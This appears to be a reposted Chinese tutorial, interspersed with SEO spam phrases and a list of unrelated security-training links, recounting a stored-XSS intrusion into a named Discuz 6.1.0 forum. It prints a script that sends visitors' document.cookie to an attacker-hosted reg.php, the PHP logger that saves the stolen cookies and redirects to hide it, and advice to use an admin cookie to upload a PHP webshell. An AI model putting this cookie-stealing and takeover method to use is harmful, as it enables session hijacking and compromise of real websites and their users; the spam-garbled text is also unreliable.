利用XSS渗透DISCUZ 6.1.0实战
网上关于XSS入侵网站的例子很多，大多都是一些恶作剧性质的介绍.狼蚁网站SEO优化本人来亲自介绍下利用脚本入侵国内某安全论坛的过程
就像主题所说一样，今天测试的论坛是DISCUZ！ 6.1.0
目标卡巴技术论坛 http://kpchina. http://bbs.kpchina.
工具无（感觉本人的入侵方式不是很高级，低调，所以不用工具，需要的东西自己写，都是脚本哦~！o(∩_∩)o...）
狼蚁网站SEO优化开始入侵
XSS(Cross Site Scripting)攻击，想要获得权限就要找漏洞，大家都是知道，DISCUZ！ 6.1.0 论坛有XSS漏洞，这是前人的经验，我不邀功
很多人只是知道有XSS漏洞可以加个alert之类的标记，都属于恶作剧的范畴，实用战术才是抓住入侵的关键，让那些大意的编程人员和系统管理员能够提高安全意识。真正具有威胁性的XSS攻击方式就是那就是网上提到的窃取Cookie，Cookie是保存在本机临时目录，记录本机帐户登录网站的帐户信息，窃取它，并不能看到被窃取人的帐号和密码，有人会问，那有什么用，我们要的只是Cookie文件，只要把具有相应网站权限帐号的Cookie拷贝到入侵者自己机器的临时目录下，覆盖刷新那个网站，就能自动登录进去，获得其站点权限。
上面说的是思路，狼蚁网站SEO优化说下如何活动卡巴论坛的管理权限
要获得卡巴技术论坛的管理员帐号的Cookie，就要在论坛里注入获得帐号Cookie的js脚本，将Cookie以post方式提交给入侵者
如图
论坛——>入侵者布置的跨站攻击——>转移被入侵这视线（隐蔽）
论坛插入脚本
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);
我不一样，因为他需要诱导人去点击他的链接，现在人不是傻子，不会轻易点你的链接。而我是要把脚步插入论坛页面中，这样既隐蔽又省去了诱导的力气
我插入的脚本如下
<script language="JavaScript"> window.location.href="http://../upload_files/reg.php?var"+document.cookie; </script>
跨站攻击脚本
reg.php
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}
?>
<script language="JavaScript"> window.location.href="http://.Xv."; </script> //转移页面隐蔽上面记录cookie的操作
剩下的步骤就是等着鱼自己上钩了
当管理员帐号点入论坛某个页面时，这个页面却被转到了某新闻网站，其实不知，他的cookie已经被记录
拿这个cookie登录论坛，（删东西不推荐哦~~），可以临时开启上传php文件，例如phpwebshell，然后再关闭，这样你就可以很轻松的操控整个论坛站点
为什么选择此论坛做入侵讲解，很简单，这个论坛具备了多个漏洞
一、论坛有XSS漏洞，没有对输入输出做过滤
二、论坛采用cookie方式记录用户信息
三、对论坛上某个版主看不惯，有点权利乱封号，不过，毕竟论坛不是那个人的，还是对管理员手下留情吧（做人要厚道！）
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想